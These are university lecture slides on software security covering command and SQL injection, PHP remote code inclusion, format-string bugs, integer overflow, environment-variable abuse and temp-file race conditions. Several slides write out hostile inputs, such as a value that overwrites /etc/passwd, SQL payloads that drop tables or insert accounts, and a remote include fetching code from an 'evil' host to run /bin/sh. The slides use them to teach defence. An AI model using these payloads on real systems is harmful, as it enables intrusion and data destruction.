CSE 410/565 Computer Security
Spring 2022

Lecture 15: Software Security II

Department of Computer Science and Engineering
University at Buffalo
Software Vulnerabilities

- Buffer overflow vulnerabilities account for a large number of program exploits.

- What else can go wrong?
  - inadequate input handling
    - input size
    - input interpretation
    - input syntax
  - inadequate environment handling
    - environment variables
    - race conditions
Input Validation

- A program can receive input in many different ways
  - user input, database, network data, configuration files

- A program often expects the data to be of a particular length, have a particular format, etc.

- An attacker might have control over the input and feed any data of her choosing

- Attacker’s goal might be to
  - crash programs
  - execute arbitrary code
  - obtain sensitive information
Input Validation

• We need to place **adequate checks on the input data**
  
  – **input size**
    
    • insufficient memory allocation leads to overflow vulnerabilities
    
    • various types of overflow exist: stack, heap, global data buffer overflows
  
  – **input interpretation**
    
    • often data comes in a specific format and must be checked for compliance
    
    • e.g., protocol headers, character encodings, URLs, etc.
    
    • failure to verify input format can lead to different types of injection vulnerabilities
• **Injection attack** refers to ability of input data to influence program flow
  
  – **command injection**

  • the input is used to execute additional commands using privileges of the process

  • example: checking printer queue

    ```c
    void main(int argc, char *argv[]) {
      char buf[1024];
      sprintf(buf, "lpq %s", argv[1]);
      system(buf);
    }
    ```

  • what if `argv[1]` is "p1; ls /" or "p1\& echo 'root:abcdef012345' | cat -> /etc/passwd"?

  • arbitrary commands can be executed
Injection Attacks

- Injection attack (cont.)
  - SQL injection
    - user-supplied input is used to construct SQL request
    - injection attack convinces the application to run SQL code that was not intended

- example 1: web application allows to query a table
  
  ```sql
  SELECT office, building, phone
  FROM employees
  WHERE name = '$name';
  ```

- now assume that the supplied input is not simply Bob
  
  ```sql
  SELECT office, building, phone
  FROM employees
  WHERE name = 'Bob'; DROP TABLE employees; --';
  ```
Injection Attacks

- **SQL injection** (cont.)
  - example 2: web authentication mechanism that emails forgotten passwords
    - the SQL query can look like
      ```sql
      SELECT somefields
      FROM table
      WHERE field = '$email';
      ```
    - by manipulating the query, information about the field names, table name, and stored information can be guessed
    - e.g., the query below will give a different error if the guessed field does not exist
      ```sql
      SELECT somefields
      FROM table
      WHERE field = 'x' AND email IS NULL;--';
      ```
Injection Attacks

- **SQL injection** (cont.)

  - example 2 (cont.)

  - after guessing field names, other information can be guessed

    ```sql
    SELECT email, passwd, name
    FROM members
    WHERE email = 'x' OR name LIKE 'Bob';
    ```

    ```sql
    SELECT email, passwd, name
    FROM members
    WHERE email = 'bob@example.com' AND passwd='hello1';
    ```

  - furthermore, we can alter the table

    ```sql
    SELECT email, passwd, name
    FROM members
    WHERE email='x';
    INSERT INTO members ('email', 'passwd', 'name',)
    VALUES ('user@buffalo.edu', 'pwd', 'Jen Smith');--'
    ```
Injection Attacks

- Injection attacks
  - code injection
    - various forms of attacks exist that permit execution of attacker’s code
    - example: PHP remote code injection using include file
      - PHP script can contain lines of the form
        ```
        include $path .'functions.php';
        require($color .'.'.php');
        ```
      - in addition to pointing to local code, any remote code can be executed as well
      - e.g., the request can be of the form
        ```
        vulnerable.php?path=http://evil/exploit&run=/bin/sh
        ```
Injection attacks

- format string problem
  - was discovered in 2000 and affects any function that uses a format string
  - vulnerable print functions: printf, fprintf, sprintf, vprintf, ...
  - vulnerable logging functions: syslog, err, warn
• **Format string problem**
  
  – consider the following function
  ```c
  void main(int argc, char *argv[]) {
      fprintf(stdout, argv[1]);
  }
  ```

  – correct usage of such functions should be
  ```c
  void main(int argc, char *argv[]) {
      fprintf(stdout, "%s", argv[1]);
  }
  ```

  – what happens if the first argument is "%s%s%s%s"?
    
    • will crash or print memory contents
Injection Attacks

- Format string problem
  - system logging functions might also permit the user to influence string format
  - one might be able to
    - view the stack
    - view memory at any locations
    - overwrite memory at any location
• **Format string problem**
  
  – full exploit uses print operator `%n`
  
  • `%n` writes the number of characters printed so far to the memory pointed by its argument
  
  • e.g., `printf("%s%n", argv[1], &x)` will store number 15 in `x` if the string `argv[1]` is 15 characters long
  
  • the parameter value of the stack is interpreted as a pointer to integer value and the location to which it points is overwritten

  – what remains is to figure out how to get the address attacker’d like in the appropriate position in the stack
Injection Attacks

- **Format string problem**
  - besides C/C++, all other languages that use format strings are vulnerable
  - examples of past exploits
    - wu-ftpd 2.* – remote root
    - Linux rpc.statd – remote root
    - IRIX telnetd – remote root
    - BSD chpass – local root
- Many other types of input interpretation vulnerabilities exist
Input Validation

• Syntax validation
  – since input data cannot be controlled, we need to verify that the data syntax is as expected
    • e.g., ASCII characters, email format, integer, etc.
  – it is safest to specify what is allowed rather than what is not allowed
    • if blocking potentially dangerous input is used, some (possibly not known yet) vulnerabilities can be missed
  – a difficulty arises when multiple encodings can be used
    • e.g., program disallows ‘/’ as dangerous
    • attacker replaces ‘/’ with Unicode representation %c0%af
    • in such case, first normalize the input using a single minimal representation and then check for acceptability
Failure to validate input syntax properly lead to a number of exploits

- Nimda worm attacked MS IIS using command
  
  http://victim.com/scripts/../../winnt/system32/
  cmd.exe?⟨some command⟩

  here ⟨some command⟩ is passed to cmd.exe

  scripts directory of IIS has execute permissions

  input checking would prevent the above string, but Unicode characters helped
  
  http://victim.com/scripts/..%c0%af..%c0%afwinnt/system32/
  cmd.exe?⟨some command⟩

  IIS first checked input and then expanded Unicode
Another concern is the size of integer values

- integer values of inadequate length might result in integer overflow vulnerability

```c
char buf[1024];
void vulnerable() {
    int len = read_int_from_network();
    char *p = get_len_bytes();
    if (len > sizeof(buf)) {
        error("length too large");
        return;
    }
    memcpy(buf, p, len);
}
```

- what is wrong with the code?
Integer Overflow

• Let’s look at the code more closely
  – memcpy prototype is
    ```c
    void memcpy(void *dest, const void *src, size_t n);
    ```
  – definition of size_t: typedef unsigned int size_t;
  – we are using signed len in place of an unsigned integer
  – do you see the problem now?

• Attacker can provide a negative value for len
  – if won’t notice anything wrong
  – memcpy() is executed with negative third argument
  – third argument is implicitly cast to unsigned int and becomes a very large positive integer
• Now `memcpy` copies huge amount of memory into `buf` causing a buffer overrun
  – this casting bug is hard to spot

• C compiler doesn’t warn about type mismatch between signed int and unsigned int
  – it silently inserts an implicit cast

• Another similar example
  ```c
  const long MAX_LEN = 20000;
  short len = strlen(input);
  if (len < MAX_LEN)
    copy_len_bytes;
  ```
  – how long does the input need to be to bypass the check?
• One more example:

```c
size_t len = read_int_from_network();
char *buf = malloc(len+5);
read(fd, buf, len);
```

• What’s wrong with this code?
  – no buffer overrun problems (5 spare bytes)
  – no sign problems (all integers are unsigned)

• But `len+5` can overflow if `len` is too large
  – if `len=0xFFFFFFFF`, then `len+5=4`
  – allocate a 4-byte buffer, then read a lot more bytes into it
  – classic buffer overflow!
• Truncation and integer casting are direct causes of integer overflow
  – you have to know programming language’s semantics very well to avoid all pitfalls

• Where would integer overflow matter?
  – allocating space using calculations
  – calculating indices into arrays
  – checking whether an overflow could occur

• What type of casting can occur in C?
  – signed int to unsigned int; signed int to long signed or unsigned int
  – unsigned int to signed; unsigned int to long signed or unsigned
  – donwcasting
• More on casting in C
  – for binary operators +, −, *, /, %, &, |, ^
    • if at least one operand is unsigned long, both are cast to unsigned long
    • otherwise, if both operands are 32 bits (int) or less, they are both upcast to int (and the result is int)
  – for unary operators
    • ~ changes type, i.e., ~((unsigned short)0) is int
    • ++ and -- don’t change type
Interaction with the Environment

- Program input is not the only place over which attacker has control
  - the program interacts with other system components
  - e.g., environment variables, operating system, libraries, other programs, devices, etc.

- Environment variables
  - they are character strings which are passed to a process from its parent and can be used during execution
  - they can also be changed to any value
  - environment variables are used in a wide variety of OSs
  - some well-known environment variables
    - PATH, LD_LIBRARY_PATH, IFS
• Example attack using environment variables

  – assume that some setuid program loads dynamic libraries at runtime
  
  – the system searches environment variable `LD_LIBRARY_PATH` for appropriate libraries
  
  – attacker can set `LD_LIBRARY_PATH` to reference its copy of the library, which will get executed with privileges of the setuid program
  
  – what can be done?

    • modern operating systems now don’t use this environment variable when euid (egid) differs from ruid (resp. rgid)
    
    • alternatively, use statically linked executables at the cost of memory efficiency
Interaction with the Environment

- Now suppose a setuid program executes `system(ls)`
  - attacker can set PATH to be . and place a program called `ls` in this directory
  - attacker can now execute arbitrary code as the setuid program
  - what can be done?
    - modern systems block this environment variable when the program is running as root
    - reset PATH within the program to be of a standard form such as `/bin:/usr/bin`
    - don’t add . into the PATH variable
      - if it must be added, it belongs at the end
• Unfortunately, resetting the PATH variable is not enough
  – the IFS variable also require attention
  – example 1: using system() call
    • say, attacker adds “s” to the IFS variable
    • \texttt{system(ls)} becomes \texttt{system(l)}, place program \texttt{l} in the appropriate directory
  – example 2: executing a shell script
    • PATH variable is reset inside the script using commands
      \begin{verbatim}
      PATH="/bin:/sbin:/usr/bin"; export PATH
      \end{verbatim}
    • adding “=” to IFS will cause the first command to be interpreted as a command to execute with arguments

• Writing secure privileged shell scripts is very difficult, avoid using them
Another type of attacks deals with access to shared resources by several processes

- interaction with other resources that programs use such as temporary files
- such race conditions lead to many subtle bugs that are difficult to find and fix

- example: Ghostscript temporary files

  - Ghostscript creates many temporary files
  - the file names are often generated by `maketemp()`

```c
name = maketemp("/tmp/gs_XXXXXXXX");
fp = fopen(name, "w");
```
• Race conditions (cont.)
  – the problem with Ghostscript’s implementation is that file names are 
    predicable, derived from process ID
  – attack
    • create symbolic link `/tmp/gs_123456` --> `/etc/passwd`
    at the right time
    • this causes Ghostscript to rewrite `/etc/passwd`
    • similar problems exist with enscript and other programs that use 
      temporary files
  – to address the problem, use atomic `mkstemp()` which creates and 
    opens a file atomically
Conclusions

- There is a very large number of potential vulnerabilities
  - they range in sophistication, goal, and mechanisms
  - overflows, injections, etc.

- Many vulnerabilities can be addressed through careful input checking and validation

- Some other vulnerabilities are difficult to address without operating system support

- Producing safe code is non-trivial
  - how do we do that?